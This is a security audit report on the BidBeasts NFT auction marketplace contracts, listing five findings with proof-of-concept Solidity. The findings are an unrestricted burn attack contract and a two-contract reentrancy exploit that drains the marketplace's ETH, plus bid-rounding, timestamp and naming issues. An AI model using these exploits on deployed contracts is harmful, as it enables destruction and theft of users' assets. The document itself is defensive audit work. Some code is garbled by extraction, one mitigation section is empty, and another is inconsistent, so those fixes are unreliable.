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## **Protocol Summary**

This smart contract implements a basic auction-based NFT marketplace for the BidBeasts ERC721 token. It enables NFT owners to list their tokens for auction, accept bids from participants, and settle auctions with a platform fee mechanism.

The project was developed using Solidity, OpenZeppelin libraries, and is designed for deployment on Ethereum-compatible networks.

#### The flow is simple:

#### 1. Listing:

- NFT owners call listNFT (tokenId, minPrice) to list their token.
- The NFT is transferred from the seller to the marketplace contract.

#### 2. Bidding:

- Users call placeBid (tokenId) and send ETH to place a bid.
- New bids must be higher than the previous bid.
- Previous bidders are refunded automatically.

#### 3. Auction Completion:

- After 3 days, anyone can call endAuction(tokenId) to finalize the auction.
- If the highest bid meets or exceeds the minimum price:
  - NFT is transferred to the winning bidder.
  - Seller receives payment minus a 5% marketplace fee.
- If no valid bids were made:
  - NFT is returned to the original seller.

#### 4. Fee Withdrawal:

Contract owner can withdraw accumulated fees using withdrawFee().

#### The contract also supports:

- Minimum price enforcement for listings.
- Minimum bid enforcement for bidders.
- Auction deadline of exactly 3 days.
- Automatic refunding of previous highest bidder.
- Only owner access for withdrawing platform fees.

#### **Disclaimer**

The ChargingFoxSec team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

#### **Risk Classification**

		Impact		
		High	Medium	Low
Likelihood	High	Н	H/M	М
	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

#### **Audit Details**

#### Scope

```
1 BidBeasts_NFT_ERC721.sol
```

2 BidBeastsNFTMarketPlace.sol

#### **Roles**

#### • Seller (NFT Owner)

- Owns a BidBeasts NFT and lists it for auction.
- Receives payment if the auction is successful.

### • Bidder (Buyer)

- Places ETH bids on active auctions.
- Receives the NFT if they win the auction.

## • Contract Owner (Platform Admin)

- Deployed the marketplace contract.
- Can withdraw accumulated platform fees.

## **Executive Summary**

#### **Issues found**

severity	number	
High	2	
Medium	1	
Low	1	
Informational	1	
total	5	

## **Findings**

## High

## [H-1] Unrestricted NFT Burning by Any Address

## **Description**

- The burn () function is designed to allow destruction of NFT tokens in the BidBeasts collection
- Currently the function lacks any access control, allowing any address to burn any existing token without being the owner or having approval

```
1 function burn(uint256 _tokenId) public {
2 @> _burn(_tokenId);
3 emit BidBeastsBurn(msg.sender, _tokenId);
4 }
```

#### Risk

#### Likelihood:HIGH

- Any external address can call the burn function at any time
- No ownership or approval checks are performed before burning

#### Impact:HIGH

- Malicious actors can destroy any NFT in the collection without permission
- Complete loss of NFT assets for legitimate holders
- Potential collapse of the entire NFT ecosystem due to lack of trust

#### **Proof of Concept**

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity ^0.8.20;
3
4 interface IBidBeasts {
5 function burn(uint256 _tokenId) external;
6 }
7
```

```
8 contract AttackContract {
       IBidBeasts public target;
10
       constructor(address _target) {
11
12
           target = IBidBeasts(_target);
13
14
       // call the target function burn()
15
       function attack(uint256 tokenId) external {
16
17
           target.burn(tokenId);
18
19 }
```

#### **Recommended Mitigation**

## [H-2] Reentrancy in Failed Credits Withdrawal

#### **Description**

- The withdrawAllFailedCredits function is designed to allow users to withdraw failed transfer credits that could not be sent directly
- The function has a critical parameter/state variable mismatch where it uses \_receiver for checking balance but msg.sender for state updates and transfers, enabling a reentrancy attack

#### Risk

#### Likelihood:HIGH

- Any malicious contract can exploit this by calling the function repeatedly during the ETH transfer callback
- The parameter/variable mismatch makes this trivially exploitable

#### Impact:HIGH

- Complete drainage of contract's ETH balance is possible
- All legitimate users' failed transfer credits could be stolen

## **Proof of Concept**

 step1:use a contract to buy an NFT via the buyNowPrice logic, and send more ETH than the buyNowPrice. Make sure this contract does not have a receive() or fallback() function. When the market tries to return the excess ETH, the transfer will fail, and the contract's address will be recorded in the failedTransferCredits mapping

```
1 contract FailTransferContract {
       BidBeastsNFTMarket public market;
2
3
       BidBeasts public nft;
4
5
       constructor(address _market, address _nft) {
           market = BidBeastsNFTMarket(_market);
6
7
           nft = BidBeasts(_nft);
8
       }
9
10
       function createFailedCredit(uint256 tokenId) external payable {
11
           BidBeastsNFTMarket.Listing memory listing = market.getListing(
               tokenId);
           require(listing.buyNowPrice > 0, "No buy now price set");
12
13
       // Send more ETH than the buyNowPrice, the excess ETH transfer will
14
           fail
       // Since the contract has no receive/fallback, the transfer fails
15
          and is recorded in failedTransferCredits
16
           market.placeBid{value: msg.value}(tokenId);
17
       }
18 }
```

• step2:use another contract to attack, and param \_target should use the contract address in step1

```
1 contract AttackContract {
2
       BidBeastsNFTMarket target;
3
       constructor(address _target) {
4
5
           target = BidBeastsNFTMarket(_target);
6
       }
8
      // Trigger the attack
9
       function attack() external {
           target.withdrawAllFailedCredits(address(this));
11
12
13
       // Reentrance point
       receive() external payable {
14
15
           if(address(target).balance >= 1 ether) {
16
               target.withdrawAllFailedCredits(address(this));
           }
17
       }
18
19 }
```

#### **Recommended Mitigation**

```
function withdrawAllFailedCredits(address _receiver) external {
    uint256 amount = failedTransferCredits[_receiver];
    require(amount > 0, "No credits to withdraw");

- failedTransferCredits[msg.sender] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ failedTransferCredits[_receiver] = 0;
+ (bool success, ) = payable(_receiver).call{value: amount}("");
    require(success, "Withdraw failed");
}
```

## **Medium**

## [M-1]Incorrect Bid Increment Calculation

#### **Description**

• The placeBid function calculates the minimum required bid amount based on the previous bid and an increment percentage

 The calculation (previousBidAmount / 100) \* (100 + S\_MIN\_BID\_INCREMENT\_PERCENTAGE) suffers from precision loss due to integer division, resulting in lower required bid amounts than intended

#### Risk

#### Likelihood: HIGH

- Occurs on every bid calculation where previousBidAmount is not a multiple of 100
- Integer division always rounds down in Solidity

#### Impact: MEDIUM

- Required bid increments will be lower than the intended 5%
- For a bid of 123 wei, next required bid would be 105 wei instead of 129 wei

#### **Proof of Concept**

```
1 contract BidTest {
function testIncorrectBidCalculation() public pure {
3
           uint256 previousBid = 123;
4
           // Current calculation
           uint256 incorrect = (previousBid / 100) * 105; // = 105
6
7
8
           // Correct calculation
           uint256 correct = (previousBid * 105) / 100; // = 129
9
10
          assert(incorrect < correct); // Will pass, showing the issue</pre>
11
12
       }
13 }
```

#### **Recommended Mitigation**

Change the order of operations to perform multiplication before division to avoid precision loss in the bid increment calculation.

#### Low

## [L-1]Block Timestamp Manipulation in Auction Settlement

#### **Description**

- The settleAuction function is designed to finalize NFT auctions after their designated end time has passed
- The function relies on block.timestamp for timing validation, which can be manipulated by miners within a ±30 second window, potentially allowing unfair auction settlements

```
function settleAuction(uint256 tokenId) external isListed(tokenId) {
       Listing storage listing = listings[tokenId];
2
3
       require(listing.auctionEnd > 0, "Auction has not started (no bids)"
4 @> require(block.timestamp >= listing.auctionEnd, "Auction has not
      ended");
5
       require(
6
           bids[tokenId].amount >= listing.minPrice,
7
           "Highest bid did not meet min price"
8
       );
9
10
       _executeSale(tokenId);
11 }
```

#### Risk

Likelihood: LOW

- Miners can manipulate block timestamps by ±30 seconds on each block creation
- Time manipulation becomes profitable during high-value auction settlements

#### Impact: LOW

- Miners can front-run legitimate settlement transactions near auction end times
- Early settlements could prevent last-moment legitimate bids from being placed

#### **Proof of Concept**

```
contract TimestampManipulationTest {
2
       function demonstrateManipulation() public {
3
           // Current block
           uint256 currentTime = block.timestamp; // e.g. 1000
4
5
6
           // Auction end time
7
           uint256 auctionEnd = currentTime + 30; // 1030
8
9
           // Miner can set next block's timestamp to:
           // Previous block timestamp + 30s = 1030
10
11
           // Making auction immediately settleable
12
13
           // Other bidders expecting to have 30 seconds left
           // will be unable to place their bids
14
15
       }
16 }
```

#### **Recommended Mitigation**

```
1 contract BidBeastsNFTMarket {
2 struct Listing {
          address seller;
3
          uint256 minPrice;
4
5
          uint256 buyNowPrice;
6 -
          uint256 auctionEnd;
          uint256 endBlock;
7 +
                               // Use block number instead of timestamp
8
          bool listed;
9
       }
10
       function settleAuction(uint256 tokenId) external isListed(tokenId)
11
           Listing storage listing = listings[tokenId];
13
           require(listing.endBlock > 0, "Auction has not started (no bids
              )");
           require(block.timestamp >= listing.auctionEnd, "Auction has not
14
       ended");
```

#### **Informational**

## [I-1]Value Name Misspelling

### **Description**

• The code contains a spelling typo: the variable is named CurrenTokenID (missing a "t")

```
1 @> uint256 public CurrenTokenID;
2
       constructor() ERC721("Goddie_NFT", "GDNFT") {}
3
4
5
       function mint(address to) public onlyOwner returns (uint256) {
           uint256 _tokenId = CurrenTokenID;
6
7
           _safeMint(to, _tokenId);
8
           emit BidBeastsMinted(to, _tokenId);
9
           CurrenTokenID++;
10
           return _tokenId;
11
       }
```

#### Risk

#### Likelihood: LOW

• This is a simple typographical error introduced at development time.

#### Impact: INFO / NONE

• No functional impact on contract logic — the variable functions as intended.

## **Recommended Mitigation**

```
uint256 public CurrenTokenID;

// Rename to fix typo for clarity before mainnet deployment:
uint256 public CurrentTokenID;
```